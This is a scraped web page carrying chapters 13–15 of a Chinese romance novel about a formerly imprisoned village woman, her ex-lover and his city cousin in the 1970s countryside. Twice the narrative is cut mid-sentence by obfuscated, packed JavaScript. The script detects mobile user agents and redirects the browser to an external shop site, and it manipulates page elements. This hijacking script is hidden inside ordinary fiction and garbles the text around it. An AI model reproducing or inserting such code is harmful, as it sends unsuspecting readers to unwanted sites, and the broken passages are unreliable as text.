程月梨第一次见识到姜四儿等当地农民的手速,程月梨搬一捆芝麻,姜四儿姜老三她们能同时搬四五捆。 程月梨来回一趟,姜四儿她们能来回两趟。 又是劈里啪啦的闪电落下,伴随惊天地泣鬼神的巨大轰鸣声,倾盆大雨滴落。 好在,在大家齐心协力下,粮食基本上抢救完成。 一个个累得坐在原地喘息,马路边,一辆卡车经过,吸引所有人目光。 一个男人看到姜四儿憧憬的眼神,凑了过去,“四儿,你也喜欢卡车司机?我和你说啊,这些司机虽然钱多,但是经常出差,嫁给他们相当于守活寡。” 姜四儿偷偷白了对方一眼,“没有喜欢他们,我只是觉得当卡车司机很不错。” “……噗,你?一个女人想当卡车司机?” 姜四儿这次正面直视他,并对着他翻了一个大大的白眼,“你瞧不起女人?” “这倒也不是,别的女同志都能,就你不能。” “为什么?”姜四儿皱眉。 “因为你坐过牢啊。”那男人哈哈大笑。 姜四儿直接愣住。 “你这种坐过牢的,想开车怎么可能啊,拿不到证的。”那人又补刀。 姜四儿垂下头,像头倔强的牛,一言不发地冒着大雨回了自己家。 13. 重修 姜四儿生气的一走,刚才贬低她的男人慌了,急匆匆跟在后头道歉,“四儿,四儿,我错了,我不该那样说,你别生我的气。” 男人笑得讨好,他本意是想贬低姜四儿让她自卑,从而把人娶回家。 可没想到弄巧成拙,姜四儿坐过牢了却还是气性这么大,说走就走,不搭理人。 姜四儿哪能看不懂这些男人的手段,只是这个男人似乎是骨子里还残存着以前跪舔讨好自己的样子,如今妄想摆谱不成,又没骨气地向自己道歉。 姜四儿没搭理他,他还想继续道歉来着,迎面看到有其他乡亲路过,男人顿了顿,犹豫着和姜四儿保持距离。 姜四儿毕竟坐过牢,他不能在别人面前和姜四儿走得近。 没这个癞蛤蟆跟着拦着,姜四儿很快走到了家门口,遇见了朝自己打量的姜二丫。 “二姐,你怎么突然回来了?” “刚才下大雨,食品站站长担心生产队会很忙,让我回家帮忙。” 所以姜二丫骑着单车带着姜小芯赶紧回来,现在浑身湿漉漉的。 不过这些都不是她现在关心的重点,重点是姜二丫刚才所看到的, “你又和生产队的男人拉扯不清?” 姜四儿听到这话脸色一变,“我没有!” 二姐怎么能这么说自己,还是当着小芯的面。 以前是有很多男人天天围着她转,自从坐牢后回来,那些男人都躲着她。 “你说你没有,那我刚才看到鬼了?”姜二丫视力很好,刚才亲眼看到了那同队的乡下汉子给四妹作揖说笑。 “刚才也不是我的错,是别人要和我说话缠着我,我没理他。” “苍蝇不叮无缝的蛋,你要不是给了他什么暗示,他又怎么会凑上来。” “我没错。”姜四儿嘴笨说不过二姐,但就是坚持自己没错。 她有自己的原则底线,有些事别人怎样说她骂她都无所谓,有些事上面她很犟。 知道四妹这犟脾气,姜二丫懒得再劝,只觉得四妹水性杨花嫌她脏。 姜二丫带着姜小芯回到房里给孩子快速擦干身体换好干净衣服,然后她顾不得自己湿漉漉的一身,赶去生产队其他地方看有没有能帮得上忙的。 路过晒芝麻的地方,看到东西都收进去了,姜二丫心里松了口气,又继续往前面走,然后左拐弯想去看看其他晒的粮食有没有收进去。 迎面遇到跟在生产队长身后的老爹老娘,姜二丫彻底放下心,看来队里的粮食都及时收好了,应该没损失太多。 雨突然又小了些,一群人淋着雨说说笑笑往大路上走去,这才注意到远处知青点屋门前停着一辆大卡车。 生产队很少有卡车经过,大家都好奇地往那个方向走过去。 知青点屋檐下,站着一个身姿挺拔的男人,穿着朴素寻常的藏青色衬衫和裤子,正给司机递着烟,“谢谢你捎我这一路,师傅,过几天你回程还是来这里接我。” 司机接了烟又和男人说笑了几句。 生产队长没注意看那男人,只是猛地加快脚步想和那陌生的卡车司机套近乎,卡车司机摆摆手,上了车离开。 一群乡亲羡慕又讨好地看着那大车离开,吸够了车尾气,这才意犹未尽地转身看向那男人。 只依稀看了几眼,生产队长觉得男人有些眼熟。 贺明峥主动握手打招呼,众人这才想起来贺明峥是谁,正是几年前下乡来这里插队的青年。 又一寒暄才知道贺明峥这次是来看望表妹的,程月梨就是他表妹。 程月梨被人叫过来时还很懵,听到队长和周围乡亲夸她有福气命好,才下乡几个月就有亲人关心探望。 她本来还以为是奶奶或者爸妈来看自己了,没想到看到的是贺明峥,这个关系并不亲近的表哥。 俩人一年最多见一次面,就是在年底过年的时候。 后来姑姑死了,她这几年见表哥见得更少。 “哥。”程月梨很勉强地笑着和他打招呼。 “嗯。”贺明峥同样语气淡淡。 生产队来客人了,不管大事小事,都要有人接待,不能怠慢。队长让贺明峥住在知青点男生宿舍那边,又安排人的一日三餐。 以前队里来了客人都是去队长家或是会计家吃饭接待,如今姜木匠家条件好,生产队长自然是安排姜家接待客人照顾好客人的一日三餐。 被队长点名的姜木匠很骄傲得意,他本来就是个爱面子的。 以前穷,别人背地里说他‘打肿脸充胖子’,现在他家里条件好了,别人只会背地里酸溜溜地羡慕他。 “诶,队长你放心,我一定招待好小贺同志。正好,我们家午饭还没吃,小贺把行李放好来我家吃午饭。”姜木匠热情邀请。 人群里的姜二丫听了赶紧跑回家,有客人要来家里吃饭,她得吩咐四妹再多做几样菜。 今天中午的饭菜是一锅糙米炖芋头,和一盆绿豆发的芽菜。 当姜四儿知道有客人要来,从坛子里掏出来一点酸豆角,又从门板上挂着的篮子里取下来一些晒干的黄瓜皮。 酸豆角,黄瓜皮,就加这两样菜,够了。 几分钟后,正在炒黄瓜皮的姜四儿又从二姐嘴里听到那客人的名字是贺明峥,手一抖,锅铲差点滑落。 她把炒好的黄瓜皮盛好后,飞速跑去菜园子里摘葱。 贺明峥跟着姜木匠到达院子门口时,听到声音掐好时间的姜四儿将六个鸡蛋和葱一起下锅。 当双脚再一次踏进姜家院子里,贺明峥有些疑惑,他没看错,姜家院子里有两辆单车。 她家里条件变好了? 又跟着姜木匠走进厨房,看到眼前一幕,贺明峥嘴角微张,心中惊讶。 这还是几年前那个走在哪躺在哪的懒婆娘吗? 只见姜四儿利落地将一盘子金黄璀璨带着葱绿的煎蛋盛上桌,然后摆好桌椅碗筷笑着看向客人。 姜四儿时不时瞥一眼,去看贺明峥,贺明峥从头到尾都不看她。 等姜老三夫妇俩回来,等姜大妞夫妇俩端着一大碗炖牛肉回来,人聚齐了一起上桌动筷。 姜大妞和丈夫刘途去其他生产队买牛肉,那些人已经下锅烹煮了一部分,刘途干脆直接买了热气腾腾的一碗牛肉端回来,也省得四妹再辛苦做菜。 没想到一回来看到了家里有客,这可太好了,正好试试他们乡下原滋原味的牛肉。 刘途和贺明峥不熟,只是寒暄几句让他吃好喝好。 姜木匠就没那么有分寸了,时不时问着贺明峥返城后做些什么工作,工资多少等等私人问题。 生产队这些老一辈就这样,各种打探别人隐私。也不是不懂礼貌,而是从小生活的氛围是这样。 所以贺明峥并不生气,耐心地回答了姜木匠问的几个问题。 听到贺明峥的职业后,姜木匠心里还有点幸灾乐祸和瞧不起,“所以你不是工人?哎呀,看来你们返城的青年也不是每个人都过得很好,各有各的难处啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586550|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜四儿听了这话不高兴,暗戳戳翻了老爹一个白眼。贺明峥是她喜欢的人,欺负她喜欢的人她就不爽。 而姜四儿对面坐着的刘途害怕老丈人继续说些没见识的话,赶紧插嘴,“爸,这些做研究的知识分子不比工人差。” 刘途也和其他姜家人一样听不懂贺明峥说的什么激光和紫外光学,听不懂贺明峥说的什么望远镜和卫星摄影这些稀奇古怪的东西。 但刘途家里条件好,很多亲戚在大城市,耳濡目染下也懂得一些道理,他知道贺明峥这种绝不比普通工人差,甚至可能工资也不会比普通工人低多少。 总之,刘途懂得一个道理,那就是不懂的少插嘴。 姜木匠听大女婿的,也不多嘴了,一个劲地喊客人多吃菜。 一桌子五个菜,酸豆角一盘子没怎么动过,黄瓜皮已经被吃光了,豆芽菜也被吃光,而剩下的葱煎蛋和牛肉还剩很多,有客人在,大家都不好意思去多夹这最好的两道菜。 等不了的方感勇最终一双筷子伸向煎蛋,姜四儿的心都提了起来,她希望好饭好菜都落到贺明峥嘴里,而不是别人肚子里。 方感勇尝试夹了一块煎蛋,又去夹牛肉。 其他姜家人都看得着急,在方感勇又再一次将筷子伸向煎蛋时,姜二丫坐不住了,顾不得客人在场,毫无形象的夹了一大块煎蛋给姜小芯和自己。 姜二丫这一动作,姜老三也坐不住了,和老公方感勇一起开始夹肉。 乱了,都乱了,除了刘途姜大妞夫妻俩,以及贺明峥这个客人,其他姜家人都开始动筷去抢菜,几个菜盘子立马见底。 刘途抿了抿嘴,歉意地朝客人看过去。庆幸的是,客人并没有露出丝毫鄙夷之色。 贺明峥这个客人只是端着茶杯浅笑着喝了口热茶。 一顿饭里,姜小芯是吃得最饱的。 吃完饭姜小芯第一个跑出门去找同村的小伙伴们玩。 夏天的天气很多变,一会儿下暴雨一会儿出太阳。 当下午四点再次出现狂风时,姜小芯从小伙伴家里道别跑了出去,她要回家,赶在下一场暴雨来临前回家。 家里其他人应该都不在,姜小芯跑到院子门口时大雨还没落下,她便慢悠悠地在院子里捡根树枝在地上画画。 呼呼大叫的狂风声能淹没很多其他的声音,姜小芯却还是隐约听到了有东西砸落在地的声音。 3岁的小娃儿正是懵懂无知且天不怕地不怕的年纪,姜小芯挠挠头,好奇地朝东边的偏院走过去。 刚才的很大一声巨响好像就是从这里发出来的。 偏院是爷爷姜木匠平日里干木工活计的地方,里面都是各种木材和工具。 有一种工具叫墨斗,是行业内常用于做直线标记的工具。 工具盒墨斗里缠着线,将线的一端扯出,沾着墨汁的线测量好直线后,墨汁就能在木材上留下一条黑色直线,方便切割木材。 而现在,这墨斗正在姜四儿手上拿着。 姜四儿手捧着小小的墨斗盒子,眼睛含泪,嘴里因为咬着卷起来的上衣而说不出话。 贺明峥欣赏了好一会儿眼前的美景,但眼神里并没有多少爱意情意。 在姜四儿失望的泪眼中,贺明峥用左手拉出墨线, 然后, 右手食指勾着墨线轻轻一弹,在姜四儿白皙如云朵的肌肤上留下痕迹。 墨线弹上姜四儿肚皮的一瞬间,墨线上的墨汁晕染开,点点墨汁如星辰,跳动在姜四儿瓷白的腰间。 14. 重修 “贺明峥,贺明峥……” 姜四儿喃喃着贴了上去,在男人肩颈边厮磨。 贺明峥眼神清明,右手抬起轻轻摩挲着对方耳垂上的耳钉。 外婆舅妈偷走的耳钉,没想到兜兜转转以这种形式跑到了姜四儿这个真正的主人身上。 几米外,“咣当”的声音突兀地响起。 姜四儿迷离的眼神瞬间清醒,赶忙缩在贺明峥身后整理衣裳。 “别怕,是你小妹。” 贺明峥看清楚那个闯入者,一个三岁小娃儿,应该看不懂也听不懂。 姜四儿从贺明峥身后探出头,试探性问,“芯芯,你什么时候过来的?看到什么了?” 姜小芯揉了揉被大风吹得生疼的小鼻子,“我刚刚听到很大的声音,四姐姐,你不小心把爸爸的东西弄倒了吗?” “嗯,不小心弄倒了几块木板。芯芯,你刚才都看到什么了?” “四姐姐,我刚才在别人家里玩,看到别人吃板栗,我好馋,馋了很久。” “好,我待会儿给你弄板栗吃。芯芯,你刚才有看到什么吗?有看到我……” “噗~” 贺明峥开怀地笑了起来,被傻乎乎的姜四儿逗得格外开心。 “乖乖儿,你都问了三遍了,”贺明峥眉眼带笑,安抚姜四儿,“她肯定什么也没看到。” 姜小芯也确实没看到任何不该看到的东西,偏房里都是各种木头木材,姜小芯小小的个头,走进来时只注意看着脚下,没看到其他。 姜四儿仍旧有些后怕,朝小芯摆摆手让她走。 “四姐姐,你不要忘了晚上吃饭给我弄板栗吃。”姜小芯露出快乐的笑容,又朝贺明峥腼腆一笑,然后穿着那塑料小凉鞋‘啪嗒’‘啪嗒’地跑开。 外人这一走,安静下来的俩人开始尴尬。 “你小妹挺可爱的。”贺明峥没话找话。 “嗯。”姜四儿声音哽咽。 当初她未婚先孕等着贺明峥接自己进城,但是贺明峥一直没来。 为了名声着想,没办法这才把女儿当成妹妹养着。 姜四儿感受着贺明峥身上的香皂味,黏得更紧了。她有些犹豫要不要现在就告诉贺明峥关于女儿的事。 “贺明峥,你这次是来接我进城的吗?” 如果是,她就把芯芯一起带走。 但贺明峥沉默了一会儿后,道:“我来探望表妹。” 姜四儿只觉得心口一凉,浑身发麻。 他俩几年前在一起时总是吵吵闹闹分分合合,但终归都是些小情趣,不至于真的闹翻。 这一次,因为坐牢的缘故,俩人确实分开太久了。 姜四儿抿抿嘴,“咱们这次分开得有点久,三年了,你生气我理解。我等你气消,你给我个大概时间,大概什么时候接我走。我不想待在这儿了,我爸妈总给我脸色看。” “不要这么说自己的父母,我看他们对你挺好的。” “我知道他们对我好,但他们……”姜四儿不知道该怎么形容,总之她待在这里很难受,爸妈明面上没说什么,但一些眼神和一些小动作,姜四儿能感受到并非善意。 “这世上没有十全十美的人,你父母是,你也是,总归要互相体谅。子欲养而亲不待,不要等到失去才后悔。”贺明峥爱自己父母,也希望姜四儿能是个孝顺孩子,不要等到父母哪天突然离世才抱憾终身。 姜四儿撇撇嘴不想争执这些,继续问道:“你什么时候接我走。” 贺明峥定定地看着对方,“我没打算接你走,咱俩已经分开三年了,我有新生活。” 这话对姜四儿来说无异于晴天霹雳, “你不爱我了吗?” “不爱了,我想开始新生活。” “不可能,你爱我。” “我不爱你了。” “你爱我,”姜四儿声音带着哭腔,“贺明峥,你说过会爱我一辈子。” “嗯,以、前、说过。”贺明峥重点强调‘以前’两个字。 姜四儿踮起脚尖在贺明峥脸颊边亲了下,“你爱我,你爱我,我知道你最爱我了,你怎么可能不爱我。” “我………… 我不知道。” 贺明峥是真的不想再继续和姜四儿在一起,他烦姜四儿不听自己的话,烦姜四儿身边总是围着太多男人,烦姜四儿不把那些苍蝇似的男人赶远点。 一开始是吃醋,但吃醋是件很难过的事,贺明峥难过着难过着就心生放弃的想法,觉得累。 当年他返城后也是一心一意想着怎么把姜四儿接进城,整天研究各种政策。 后来发生了太多事,老妈在工厂出事故去世,老爸和舅舅一家闹翻后偷偷去了香江下落不明。 等贺明峥好不容易处理完家里的事,又把姜四儿进城的事办好了,想着把姜四儿接进城和自己生活。 可却得知她坐了牢, 坐牢的原因还不光彩。 ‘姜四儿暗恋刘途,和同样暗恋刘途的林姗争风吃醋打起来了,把人打成重伤坐牢。’ 想起这坐牢的原因,贺明峥狠下心,一把推开姜四儿。 贺明峥转身就走,姜四儿噙着泪不舍地看他离开。 走到院子里,贺明峥远远看见朝这边移动的乌云,对姜小芯喊道:“小孩儿,快进屋去,刮大风待在外面不安全。” 正在地上画画的姜小芯扔下树枝,跑去堂屋里,趴在门槛上静静地看着贺明峥这个客人。她想等多管闲事的客人走了,再出来继续完成那副画。 贺明峥看到了泥土地上那副画,用树枝简单勾勒的一只大公鸡,栩栩如生,斗志昂扬。 他有些吃惊,没想到这贫瘠满是文盲的小地方也有如此出色的孩子。 他靠近些还想多看几眼,突然劈里啪啦的雨滴落下,地面湿漉漉,大公鸡画被毁。 “叔叔,下雨了。” 姜小芯拿了地上一个尼龙袋,跑出去给贺明峥。 贺明峥用袋子举在头顶挡雨,一路跑回知青点。 抢救完粮食的知青们也陆陆续续回来。 “这狗天气,纯折腾人。” “可不是嘛,一会儿下暴雨一会儿出太阳,我们把那些芝麻挪进去又晒出来,晒出来又挪进去,反反复复三四次,我不行了,累得心脏疼。” “终于可以休息会儿,我要去烧火洗个澡。” “咱俩凑一起烧,我捡的柴不够烧一壶的。” ………… 男知青们为了木柴的事费神,一墙之隔的女知青程月梨可没那么多顾虑,她拿口粮和别的社员家换了木柴,烧了很大一锅水来洗澡。 “小程同志,你那点口粮早见底了吧。”其他女知青问。 程月梨不在乎,“没了就找大队借,我又不是还不起。” 其他女知青们或是羡慕或是嫉妒,眼看着程月梨烧完水还剩些发红的火炭,又争先恐后地去讨好程月梨。 “没事,还剩下的一些炭火你们用吧。”程月梨很大方。 足足用了四个暖水瓶的热水去洗澡,程月梨洗得干干净净,然后穿上了那漂亮裙子 公社广播里通知说这雨会连续下几天,接连大雨的话,乡下很多农活都干不了,她们这些知青也能趁此机会休息。 所以程月梨穿上了心心念念的裙子,淡粉色的碎花裙,外面一层薄纱,里面材质像是丝绸和棉纺材质的混合体,整体自然的垂下,很是服帖,走起路时膝盖处的裙摆摇晃起伏,简直就是给天上的仙女穿的。 “漂亮,太漂亮了。”程月梨心脏猛地一坠,被这上身效果迷得失神。 当她深吸一口气踏出门槛,走廊上拾柴的几个女知青见了大叫一声。 “怎么了怎么了?发生什么事了?”一墙之隔的男知青们关切问道。 被仙裙惊艳得双手捂嘴的女知青们疯狂大喊,“你们快过来看,程月梨的衣服!她的衣服!!!” 衣服怎么了? 那些男知青爬上墙, “噗通”几声,几个男知青从墙上栽倒的栽倒,滑落的滑落,皆被仙女仙裙美到失了神。 全公社也没几个人穿得花花绿绿,大多都是洗得发白或灰扑扑的衣服,再不就是军绿色蓝色服饰。 像程月梨身上衣服的样式和剪裁,是城里也少见的新鲜花样。 程月梨满意地看着众人反应,心里骄傲得不行。 在她转着圈显摆时,和院门口树下站立的贺明峥四目相对。 “表哥。”程月梨浅笑,得体而疏远。 长辈关系不和,她和贺明峥的关系自然也好不到哪里去。 所以即使从奶奶口中知道贺明峥曾经也在此大队下乡过,她来到大队后也懒得提表哥的名字和当地人套近乎。 贺明峥当初是主动申请下乡劳动,想从劳动中学习,想和中下贫农交流增加阅历,更是在大队建立临时扫盲班教大队的人识字。 姑姑还在世时,过年团圆总夸表哥懂事了很多,爸妈背地里嘲笑姑姑,但程月梨把姑姑的话听了进去,她好奇乡下到底是什么样的,好奇穷人的世界。 后来,即使在爸妈的极力哭诉和劝阻下,独生女的程月梨也不为所动,仍旧主动和一些同学一起申请下乡。 来乡下这段时期,程月梨总是在后悔和不后悔中纠结。 公社空气再好也没用,没有娱乐项目就是难熬。 如今表哥来这里探望自己,程月梨眼珠子一转,像个尊贵的小公主走到贺明峥面前,“表哥,你这次来看我有带了什么好玩的东西吗?” 贺明峥没回话,只是盯着她的裙子看。 视线落到她左耳,贺明峥开口,“这耳钉是一对,你送了姜四儿一个,为什么?” 为什么?还能是为什么,当然是嫌弃啦。当初姜四儿捡到那耳钉,程月梨嫌弃被乡下人那脏乎乎的手碰过,所以干脆不要了。 但这种事程月梨不会直说, “就……看她挺漂亮的,就把那耳钉送了她。” 这话贺明峥喜欢听,淡淡的神情忽然生动起来,脸上有了笑容, “行,麻烦你件事,以后和姜四儿当朋友。她现在处境不好,坐过牢,别人不爱和她玩,你平时不上工的时候去找她玩。” 程月梨:“…………” 有没有搞错?那可是个坐过牢的女人,人人避之不及,表哥还让自己凑上去和她交朋友,这不是害自己吗? 程月梨怒气上涌,想骂人。 但是对着表哥的高冷死人脸,她又不敢骂。 然后,她突然想到了重点,疑惑问道:“你为什么帮姜四儿找朋友?” “她以前是我对象。” “…………”程月梨的嘴从缓缓微张,到突然惊恐地张大。 老天爷啊,还有这一茬? 程月梨震惊了许久,懵懂点头,稀里糊涂答应表哥。 第二天一早,程月梨终于反应过来不对劲,她找到贺明峥,皮笑肉不笑,“表哥,我不能答应你的要求。我仔细想过了,我不能和姜四儿交朋友,她坐过牢,我怕她。而且,这也会影响我的名声。” 对于表妹的出尔反尔,贺明峥并不着急,而是很有耐心道:“你不答应也得答应。” “呵。”程月梨觉得荒唐,哼笑出声。 “你现在身上穿的这条裙子,是我爸也就是你姑父按照姜四儿身高定制的洋裙,四千块;你左耳上的带钻耳钉,八千一对;那名牌包,两千六;你奶奶,也就是我外婆,从我这里拿走的吃食,应该大部分也落在了你嘴里。 吃人嘴软拿人手短,你拿了属于姜四儿的东西,就该对她好。” “…………” 程月梨以为自己耳聋了。 她家里不缺吃喝,但也没见过这么贵的东西。 她想问表哥是不是在开玩笑,但心里又很清楚表哥不至于撒谎,也清楚这确实像奶奶能做出来的事。 “我……我不知道奶奶拿了你的东西,”程月梨挺直的背也佝偻了起来,“我现在把东西都还你。” 贺明峥眉头蹙起,一抹嫌弃在眼中浮现, ‘你都用过的东西还拿给乖乖儿用,我家乖乖儿不用别人的二手货。’ 心里如此想着,贺明峥拒绝了程月梨,只强调道:“你现在只有一个选择,那就是去和姜四儿作伴,和她玩,跟她交朋友。否则,我就报公安让他们把你奶奶和妈妈抓进去。又或者,我去大队部宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586551|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬宣扬这件事,让大家来评理。” 程月梨只觉得天都塌了。 “别折腾我了,你干脆把姜四儿带走接进城里去。求求你了表哥,我怕,我怕坐牢的人,我不喜欢和她做朋友。” 贺明峥叹气,他这次来到这,本来只是想借表妹的手把亲爹送的一些礼物转交到姜四儿手中。 没想到发现姜四儿处境不太好,以前身边围着很多人的姜四儿现在孤零零的,从几年前的可爱到现在怯生生的。 “你不用怕她,公社很多人打架斗殴偷鸡摸狗,做倒买倒卖生意,甚至可能心狠手辣打死人的都有,不乏有些犯罪比姜四儿更厉害的。她本性不坏,打架坐牢的事是意外。” 这里生产队的人不知道有事报公安,没有法律意识,就算弄死了人,最多闹到公社那儿去,赔点钱了事。 像林姗那种报县里派出所的,是头一回,所以姜四儿也成了公社头一个坐牢的。 “就算是这样,我也不想和她交朋友一起玩,要不然别人该怎么看我啊。再说了,你喜欢她你就把她带去城里。” “我现在已经不喜欢她了。” “你看,你也嫌弃她坐过牢。” “没有嫌弃她,只是认清现实不是一路人,不想再和她走下去。” “你——” “程月梨,我说过了,这事你没有选择。”贺明峥好话说不了几句又板着张脸。 也不是第一次知道表哥气势强,程月梨心里哀嚎奶奶害惨了她,没事招惹表哥干嘛,现在连累了自己。 头上顶着尼龙袋躲避小雨,程月梨半死不活地拿上表哥这次带过来的一些零食去找姜四儿。 离姜家大门还有十几米的时候,程月梨隐约听到了一个熟悉的声音。 “四妹,我这衣服你也一起顺道帮我洗了。”方感勇说着把一件衬衫和一条裤子扔了过去。 衬衫掉在洗衣服的大盆里,脏裤子落在正搓衣服的姜四儿手上。 昨天反复下雨淋湿过又干了一天活被汗湿过的脏裤子散发着恶臭,恶臭扑鼻,那味儿一瞬间熏得姜四儿干呕。 下意识把这脏东西往地上扔,姜四儿又掏出大盆里的衬衫扔地上,丝毫不给三姐夫面子。 “四妹,你怎么回事,给其他人洗衣服都行,就差我这两件了?”方感勇捡起地上的衣服又要塞过去。 姜四儿抵触大喊,“你干什么!我叫人了!” 方感勇没想到她还有脸大喊大叫,怒道:“不洗就不洗,你至于这种态度吗?” 愤愤然转身,看到一脸鄙夷的程月梨,方感勇脸色苍白。 他在知青们心中的形象一向很好,温文尔雅,会念诗作词,还会几句洋文,没想到被程月梨看到刚才丢脸的那一幕。 “小程同志,来这里有什么事,今天下雨休息,家里那些人一早就去公社看大姐去了。” 程月梨鄙视地冷哼一声,走到姜四儿身边坐下问好。 推了推脸上的眼镜,方感勇不敢再自找没趣,赶紧离开了家。 看到他离开的背影,程月梨“呸”了一声,“没想到他是这种人,今天可算看清了。” 一扭头,程月梨又笑得开心,“姜四儿,我表哥给我带了一些吃的,我一个人吃不完,分享给你。” 借着这个理由,程月梨把那些吃的一股脑全给了姜四儿。 有从香江带过来的巧克力豆,还有其他各种饼干点心。乱七八糟的零食底下,还有几包黑糖。 这可是现在城里人也难买到的糖,连公社供销社也难拿到供应。 “这黑糖太贵重了,我不能要。” “没事,我表哥给了我很多。”程月梨肉疼道。这些都是她找的借口,表哥这次带来的东西都是给姜四儿的,自己只是找个借口慢慢把这些东西送出去。 程月梨也想要黑糖,好想吃黑糖煮的糖心蛋,光是想想就不自觉咽下很多口水。 俩人聊天说笑,程月梨时不时搭把手帮姜四儿一起干活。 令程月梨震惊的是,姜四儿果然如表哥所说是个好相处的,也是个单纯天真没脑子的,短短相处半小时,这姜四儿就把自己当成了好姐妹,亲昵自然。 贺明峥就是这时候过来的。 他一过来,姜四儿立马变了样,整个人别别扭扭的。 “你俩以前认识?”程月梨故作惊讶。 “认识,虽然不是一个生产队,但是他在我们大队下乡待过几年,”姜四儿小声道,“我和你表哥,是……是朋友,呃,普通朋友那种。” “程月梨,我回去了,你有什么话让我带给你奶奶吗?” “啊?你这就回城了?”程月梨吃惊,“不是说要等那司机送完货再捎你一路吗?” “不等了,我自己去市里坐火车回去。”贺明峥道。 他本来是打算几天后司机回城顺便捎自己一路,可仔细回想过后,觉得继续待在这儿会让姜四儿对自己升起更多的依赖。既然已经决定彻底断开,就不该再给姜四儿希望。 他不说真实原因,程月梨和姜四儿却隐约能猜到。 “我送你。”姜四儿擦了擦手,自言自语道。 “不用了,我自己走去公社搭车。”贺明峥婉拒。 “我送你。”姜四儿执拗道。 贺明峥给了程月梨一个眼神,程月梨无奈站出来,“那一起吧,表哥,我也送你一程。” 程月梨咬牙切齿,恨这表哥给自己找事。 在姜家找到几把破碎的油纸伞,三个人一路朝公社走去。 在程月梨走得累出一身汗落后一段距离时,贺明峥看向姜四儿,“你和表妹说我们只是普通朋友?” “嗯。” 贺明峥叹气,“那你和我聊天时不要眼神闪躲,这样可不像是普通朋友。” 姜四儿低头看脚下的路,任眼泪掉落在地面,渗入泥土,和雨滴一起消失不见。 三人在雨天走了一个小时到达公社车站。 贺明峥上车后坐在窗边,车外,姜四儿直直地朝他所在的方向看去,眼神中满是痛苦和伤心。 伞下美人含泪,这画面,让程月梨也不由得心软。 ‘表哥这负心汉。’程月梨在心中骂骂咧咧。 15. 重修 贺明峥坐着公社班车离开,连带着姜四儿的心也空落落的。 程月梨见姜四儿强忍泪水的模样,觉得可惜。这么出众的脸蛋儿和身材,要没有坐牢,嫁去城里改变命运是轻而易举的事。 雨下个不停,俩人沉默着往回走。 “来都来了,咱们逛逛。”程月梨提议。 姜四儿犹豫了几秒,“我家里不喜欢我出门见人。” 今天要不是为了送贺明峥,她根本不敢出来。 “怕什么,你在生产队那么小的地方会有人知道你坐牢,所以你家里人不想你出门。可这里是公社,没几个人认识你。走走走,咱们避开你那俩姐姐在的食品站和供销社就行。” 程月梨有意在公社显摆自己身上那漂亮的定制洋裙,带着姜四儿慢慢走在街道上,享受那些人羡慕或是惊艳到的眼神。 表哥说了,这裙子是洋货,因为牌子是外国的知名品牌,所以价格有点贵。饶是程月梨家里不缺吃喝,但也是头一回穿上几千块的裙子。自从知道价格后,程月梨整个人都是飘的。 没有哪个人会不爱这种一看就高档的衣服,姜四儿也不例外。姜四儿深深看了几眼这洋裙,心里对样式有了大概了解,她倒是能仿照样式自己私下扯几米布料也做一身裙子,但是公社花样少,恐怕难买到这些料子。 程月梨注意到了姜四儿羡慕自己的眼神,想着本该属于姜四儿的裙子穿到了自己身上,还有些不好意思。 不过……以后自己可是要和姜四儿交朋友陪她玩。这些裙子就当是自己的辛苦费,应该的。 想到自己的付出,程月梨又挺直了腰杆。 旁边经过的一对母女看着程月梨看直了眼, “妈,我结婚不做新衣服了,咱们去买这种成衣,她这裙子肯定是在县里买的,或者是市里,咱们去县里门市部看看。” “不行,那得多贵。你别想一出是一出,这裙子也只能不干活的时候穿一穿,不实用。” “咱们家又不穷,哥嫂结婚你给他们又是买自行车又是打家具的,也得给我撑撑场面,你看她穿这裙子多漂亮。” “漂亮是漂亮,那也比不过她身边那女同志。打铁还需自身硬,你要真的长得好看,穿着粗布麻衣都出彩。” …… 母女俩叽叽喳喳,也不避着人,嗓门老大了。 ‘乡下的泼妇。’程月梨气得牙痒痒,心里大骂。 漂亮的裙子能让程月梨的美貌上升几个点,但人靠衣装的她,在姜四儿绝对的美貌压制下,仍旧逊色不少。 这一点被路人点破,程月梨脸上难堪。 气冲冲的她想到姜四儿再是倾国倾城也不过是坐过牢的人,又心里好受了点。 公社并不大,但人很多。几条街慢吞吞地逛来逛去,程月梨也一路在众人面前显摆完了身上的裙子,心满意足地昂着脑袋冲姜四儿笑,“走,回去。” 俩人往回走,碰见刘途。 “四妹?”刘途打招呼,“来公社买东西?” 姜四儿摇头,“就……就随便走走。” “现在是要去哪儿?” “我们准备回去。” “先别回了,去我家坐坐,你爸妈还有二丫他们都在,去家里吃个饭再走。”刘途絮絮叨叨。 姜四儿不想去,程月梨却拉起姜四儿就跟着刘途走,她想和刘副主任家套套近乎,这样对她只有好处没有坏处。 今天姜家其他人都来了公社看望姜大妞和姜大妞的儿子,唯独方感勇和姜四儿没来。 方感勇是自己不想过来,反正姜木匠春花老两口只喜欢刘途这个大女婿。 “你今天怎么不和你爸妈一起过来?怎么,看不起姐夫家?”刘途打趣道。 “没、没有的事。”姜四儿尴尬笑着。 程月梨插嘴,“是她爸妈不想让她出门。” “没有!”姜四儿扯扯程月梨的手,让她别乱说话。 程月梨吐了吐舌头,转身朝刘途自我介绍,“我叫程月梨,今年4月份下乡的知青。” “你好,刘途,路途的途,是姜四儿的大姐夫。” 